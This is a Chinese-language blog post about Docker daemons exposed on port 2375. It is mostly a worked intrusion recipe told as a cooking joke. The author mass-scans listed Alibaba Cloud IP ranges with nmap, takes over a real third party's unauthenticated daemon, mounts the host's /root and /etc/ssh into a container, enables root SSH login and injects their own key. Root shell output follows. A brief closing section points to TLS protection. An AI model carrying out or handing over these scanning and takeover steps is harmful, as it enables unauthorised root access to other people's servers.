Docker暴露2375端口導致服務器被攻擊解決方法!

相信瞭解過docker remote API的同學對2375端口都不陌生了,2375是docker遠程操控的默認端口,通過這個端口可以直接對遠程的docker daemon進行操作。

當$HOST主機以docker daemon -H=0.0.0.0:2375方式啓動daemon時,可以在外部機器對$HOST的docker daemon進行直接操作:

docker -H tcp://$HOST:2375 ps

好,說說如何“入侵”,怎麼通過這個端口入侵宿主機呢?

這個應該要從幾個點說起吧:
1. docker對user namespace沒有做隔離,也就是說,容器內部的root用戶就是宿主機的root用戶,一旦掛載目錄,就可以在容器內部以宿主機的root用戶身份對掛載的文件系統隨意修改了。

  1. docker服務擁有很高的執行權利(相當於root),並且在docker用戶組下的普通用戶不需要任何其他驗證就可以執行docker run等命令。
  2. 暴露的docker remote API端口如果沒有啓動ssl驗證的話,任何能連通到這臺docker宿主機的的機器都可以隨意操作這臺docker宿主機的docker daemon(docker run、docker ps、docker rm等等這些命令都不在話下)。

結合以上3點,就基本具備入侵docker宿主機的條件了

講得似乎有點懸,不多說,直接拿一個活鮮鮮的例子來講吧:

(請允許我用最近新學的一道菜將流程帶過 ╮( ̄▽ ̄)╭ )

祕製紅燒肉(docker版)

材料:一整塊一整塊的“5花”IP段,越肥越好(小白用戶越多越好)

配料:nmap,docker

step 1: 掃描2375端口

怎麼掃?我選用的是簡單易用的黑客必備神器nmap了。

掃哪裏呢?我選的目標是aliyun的IP段,百度得知:

42.96.128.0/17    Alibaba (Beijing) Technology Co., Ltd. China  
42.120.0.0/16    Aliyun Computing Co., LTD China  
42.121.0.0/16    Aliyun Computing Co., LTD China  
42.156.128.0/17    Aliyun Computing Co., LTD China  
110.75.0.0/16    Asia Pacific Network Information Centre China  
110.76.0.0/19    Ali Technology Co., Ltd China  
110.76.32.0/20    Aliyun Computing Co., LTD China  
110.173.192.0/20    HiChina Web Solutions (Beijing) Limited China  
110.173.208.0/20    HiChina Web Solutions (Beijing) Limited China  
112.124.0.0/16    Hangzhou Alibaba Advertising Co.,Ltd. China  
112.127.0.0/16    Hangzhou Alibaba Advertising Co.,Ltd. China  
114.215.0.0/16    Hangzhou Alibaba Advertising Co.,Ltd. China  
115.28.0.0/16    HiChina Web Solutions (Beijing) Limited China  
115.29.0.0/16    HiChina Web Solutions (Beijing) Limited China  
115.124.16.0/22    Hangzhou Alibaba Advertising Co.,Ltd. China  
115.124.20.0/22    Hangzhou Alibaba Advertising Co.,Ltd. China  
115.124.24.0/21    Hangzhou Alibaba Advertising Co.,Ltd. China  
119.38.208.0/21    Hangzhou Alibaba Advertising Co.,Ltd. China  
119.38.216.0/21    Hangzhou Alibaba Advertising Co.,Ltd. China  
119.42.224.0/20    Alibaba (China) Technology Co., Ltd. China  
119.42.242.0/23    Hangzhou Alibaba Advertising Co.,Ltd. China  
119.42.244.0/22    Hangzhou Alibaba Advertising Co.,Ltd. China  
121.0.16.0/21    Hangzhou Alibaba Advertising Co.,Ltd. China  
121.0.24.0/22    Hangzhou Alibaba Advertising Co.,Ltd. China  
121.0.28.0/22    Hangzhou Alibaba Advertising Co.,Ltd. China  
121.196.0.0/16    Hangzhou Alibaba Advertising Co.,Ltd. China  
121.197.0.0/16    Hangzhou Alibaba Advertising Co.,Ltd. China  
121.198.0.0/16    Hangzhou Alibaba Advertising Co.,Ltd. China  
121.199.0.0/16    Hangzhou Alibaba Advertising Co.,Ltd. China  
140.205.0.0/16    Aliyun Computing Co., LTD China  
203.209.250.0/23    Hangzhou Alibaba Advertising Co.,Ltd. China  
218.244.128.0/19    Hangzhou Alibaba Advertising Co.,Ltd. China  
223.4.0.0/16    Hangzhou Alibaba Advertising Co.,Ltd. China  
223.5.0.0/16    Hangzhou Alibaba Advertising Co.,Ltd. China  
223.5.5.0/24    Hangzhou Alibaba Advertising Co.,Ltd. China  
223.6.0.0/16    Hangzhou Alibaba Advertising Co.,Ltd. China  
223.6.6.0/24    Hangzhou Alibaba Advertising Co.,Ltd. China  
223.7.0.0/16    Hangzhou Alibaba Advertising Co.,Ltd. 

我不生產IP,我只是百度的搬運工,別問我這些IP從那來,我也想知道~ >.<

將上面IP內容保存在一個文件中,如 aliyun.list

開始掃描:

cat aliyun.list| awk '{print $1}' | xargs -n 1 -I {} nmap -sT -p2375 {} --open    
# 簡單解釋一下命令:
# awk 將第一列IP網段過濾出來
# xargs 將過濾出來的IP一個一個的分次送給nmap,-I {} 是指使用{}來代替傳送的參數
# ...
# Starting Nmap 7.01 ( https://nmap.org ) at 2016-06-05 09:57 CST
# Nmap scan report for 42.96.MOSAIC.MOSAIC
# Host is up (0.070s latency).
# PORT     STATE SERVICE
# 2375/tcp open  docker
# ...

不到兩分鐘,第一塊42.96.MOSAIC.MOSAIC(五花肉已打碼) “五花肉”選好了,來吧~

step 2: 測試2375的直接控制權

docker -H tcp://42.96.MOSAIC.MOSAIC:2375 ps

# CONTAINER ID        IMAGE                              COMMAND                  CREATED             STATUS              PORTS           
# 73aa690e7c92        imdjh/owncloud-with-ocdownloader   "/entrypoint.sh"         9 days ago          Up 3 days           0.0.0.0:9009->80
# f57c56af0e29        rethinkdb:2.3.2                    "rethinkdb --bind all"   9 days ago          Up 3 days           8080/tcp, 28015/
# 37c1401db593        gaomd/ikev2-vpn-server:0.3.0       "/bin/sh -c /usr/bin/"   10 days ago         Up 3 days           0.0.0.0:500->500
# af7338a5426d        nginx:1.9-alpine                   "nginx -g 'daemon off"   3 weeks ago         Up 3 days           443/tcp, 0.0.0.0
# ...

這個服務器的owner也太配合了(⊙ο⊙),ps直接看到內容,說明這個主機的2375是沒有ssl驗證的,基本滿足入侵要求。

“五花”洗好,切好,準備下鍋~

step 3: 遠程啓動自己的容器

拿到了docker的控制權能做什麼呢?拿到了就呵呵了~

# images 看看本地已有的鏡像
# docker -H tcp://42.96.MOSAIC.MOSAIC:2375 images
# ...
# swarm                              latest              47dc182ea74b        4 weeks ago         19.32 MB
# jwilder/nginx-proxy                latest              203b20631e41        4 weeks ago         255.6 MB
# ubuntu                             latest              c5f1cf30c96b        4 weeks ago         120.8 MB
# shipyard/shipyard                  latest              ba426f0944bc        5 weeks ago         58.92 MB
# ...

省略了一部分輸出,鏡像還蠻多的,就選個ubuntu吧

# docker -H tcp://42.96.MOSAIC.MOSAIC:2375 run --rm -it --entrypoint bash -v /root:/tmp/root -v /etc/ssh:/tmp/ssh_etc -v /var/log:/tmp/log ubuntu

看到這步,相信對ssh有一些瞭解的同學應該就明白了

step 4: ssh pub key 注入

在剛剛啓動的容器中先看看 /tmp/ssh_etc/sshd_config (就是宿主機的/etc/ssh/sshd_config) 的PermitRootLogin字段。如果是no就改成yes,允許root通過ssh登錄

然後在你的機器上生成一對新的pub key(已經有ssh key的也建議生成一個新的,不要使用自己日常使用的ssh pub key)

# 使用 ssh-keygen生成
ssh-keygen -t rsa -C "[email protected]"
# 執行命令後的提示Enter file in which to save the key要看好,不要把自己的ssh key覆蓋了,可以選着/tmp/id_rsa
# 其他提示enter到底即可

繼續,注入ssh pub key,回到剛剛啓動的容器執行

cat >> /tmp/root/.ssh/authorized_keys <<EOF
>ssh-rsa AAA....     # 這裏粘貼你剛剛在自己機器生成的/tmp/id_rsa.pub
>EOF

# 如果/tmp/root/.ssh目錄不存在,就直接創建

八角香葉生抽老抽醋都加上,中火烹飪,準備出鍋~

step 5: 登入服務器

# ssh -i 指定祕鑰登錄
ssh -i /tmp/id_rsa [email protected]

# Welcome to Ubuntu 14.04.1 LTS (GNU/Linux 3.13.0-32-generic x86_64)
#
# * Documentation:  https://help.ubuntu.com/
#
# Welcome to aliyun Elastic Compute Service!
#
# Last login: Fri Jun  3 01:38:07 2016 from 120.85.MOSAIC.MOSAIC
# manpath: can't set the locale; make sure $LC_* and $LANG are correct
# root@iZ28p9b7e***:~# 
# ...

大火收汁,起鍋!

鄭重聲明

以上教程僅爲交流學習之用,42.96.MOSAIC.MOSAIC 服務器上的id_rsa.pub在製作完本教程後已主動清除,並在服務上留言告知。

如果你一不小心也發現了可用的2375端口,希望也能點到即止,誤做他用,或者發現其他入侵漏洞,可以和大家交流學習。

2375是docker漏洞嗎?

非也!2375直接裸露地暴露在公網上純屬是用戶習慣或者偷懶的問題2375可以在相對安全的內部網絡中方便測試使用,並不適合使用在投入到生產環境中。

docker官網第一篇文檔quick start上有句話是這樣子的:

Warning: Changing the default docker daemon binding to a TCP port or
Unix docker user group will increase your security risks by allowing
non-root users to gain root access on the host. Make sure you control
access to docker. If you are binding to a TCP port, anyone with
access to that port has full Docker access; so it is not advisable
 on an open network.

已經Warning告知:如果將daemon直接暴露在一個TCP端口,將可能會被以非root用戶去獲取宿主機的root權限。其實上面的說提到的服務器之所以這麼容器被入侵,也正是這個原因。

何以防之

那麼,問題來了,如果想用Remote API,又不想有被入侵的風險,怎麼辦呢?

docker官方文檔上介紹了一種通過CA認證方式使用Remote API

具體可以參考:Protect the Docker daemon socket

(等理解了再補一篇博客吧,就姑且讓我以一個鏈接的形式帶過吧O.O)

配置過程還算是比較簡單的,下面放一張圖,展示配置SSL後的效果:

 

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章